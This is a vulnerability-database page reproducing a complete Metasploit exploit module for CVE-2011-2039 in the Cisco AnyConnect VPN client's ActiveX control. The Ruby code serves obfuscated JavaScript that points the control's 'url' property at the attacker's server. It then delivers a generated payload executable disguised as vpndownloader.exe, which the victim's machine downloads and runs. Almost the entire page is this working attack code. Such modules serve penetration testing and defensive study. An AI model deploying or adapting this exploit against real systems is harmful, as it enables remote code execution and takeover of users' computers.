Cisco AnyConnect VPN Client ActiveX URL Property Download and Execute

🗓️ 01 Jul 2014 00:00:00Reported by RootType

Cisco AnyConnect VPN Client ActiveX URL Property Download and Execut


                                                ##
# $Id: cisco_anyconnect_exec.rb 12872 2011-06-06 20:15:51Z bannedit $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require &#39;msf/core&#39;

class Metasploit3 &#60; Msf::Exploit::Remote
	Rank = ExcellentRanking

	include Msf::Exploit::Remote::HttpServer::HTML
	include Msf::Exploit::EXE

	def initialize(info = {})
		super(update_info(info,
			&#39;Name&#39;           =&#62; &#39;Cisco AnyConnect VPN Client ActiveX URL Property Download and Execute&#39;,
			&#39;Description&#39;    =&#62; %q{
					This module exploits a vulnerability in the Cisco AnyConnect VPN client 
				vpnweb.ocx ActiveX control. This control is typically used to install the 
				VPN client. An attacker can set the &#39;url&#39; property which is where the control
				tries to locate the files needed to install the client.

					The control tries to download two files from the site specified within the
				&#39;url&#39; property. One of these files it will be stored in a temporary directory and 
				executed.
					},
			&#39;License&#39;        =&#62; MSF_LICENSE,
			&#39;Author&#39;         =&#62; [ &#39;bannedit&#39; ],
			&#39;Version&#39;        =&#62; &#39;$Revision: 12872 $&#39;,
			&#39;References&#39;     =&#62;
				[
					[ &#39;CVE&#39;, &#39;2011-2039&#39; ],
					[ &#39;OSVDB&#39;, &#39;72714&#39;],
					[ &#39;URL&#39;, &#39;http://labs.idefense.com/intelligence/vulnerabilities/display.php?id=909&#39; ],
					[ &#39;URL&#39;, &#39;http://www.cisco.com/en/US/products/products_security_advisory09186a0080b80123.shtml&#39;],
				],
			&#39;Platform&#39;       =&#62; &#39;win&#39;,
			&#39;Targets&#39;        =&#62;
				[
					[ &#39;Automatic&#39;,
							{
								&#39;Arch&#39; =&#62; ARCH_X86
							} 
					],
				],
			&#39;DisclosureDate&#39; =&#62; &#39;Jun 01 2011&#39;,
			&#39;DefaultTarget&#39;  =&#62; 0))

		register_options(
			[
				OptString.new(&#39;URIPATH&#39;, [ true, &#34;The URI to use.&#34;, &#34;/&#34; ])
			], self.class)
	end

	def on_request_uri(cli, request)

		if request.uri.match(/vpndownloader\.exe/)
			exe = generate_payload_exe({:code =&#62; payload.encoded})

			print_status(&#34;Client requested: #{request.uri}. Sending vpndownloader.exe&#34;)
			send_response(cli, exe, { &#39;Content-Type&#39; =&#62; &#39;application/octet-stream&#39; })
			select(nil, nil, nil, 5) # let the file download 
			handler(cli)
			return
		end
		
		if request.uri.match(/updates\.txt/)
			print_status(&#34;Client requested: #{request.uri}. Sending updates.txt&#34;)
			updates = rand_text_alpha((rand(500) + 1)) + &#34;\n&#34; + rand_text_alpha((rand(500) + 1))
			send_response(cli, updates, { &#39;Content-Type&#39; =&#62; &#39;text/plain&#39; })
			return
		end

		url = get_uri(cli)

		dir = rand_text_alpha((rand(40) + 1))
		js = ::Rex::Exploitation::JSObfu.new %Q|
		var x = document.createElement(&#34;object&#34;); 
		x.setAttribute(&#34;classid&#34;, &#34;clsid:55963676-2F5E-4BAF-AC28-CF26AA587566&#34;);
		x.url = &#34;#{url}/#{dir}/&#34;;
|
		js.obfuscate
		html = &#34;&#60;html&#62;\n\t&#60;script&#62;#{js}\t&#60;/script&#62;\n&#60;/html&#62;&#34;
		print_status(&#34;Sending #{self.name} to #{cli.peerhost}:#{cli.peerport}...&#34;)
		send_response_html(cli, html)
	end
end

01 Jul 2014 00:00Current

7.1High risk

Vulners AI Score7.1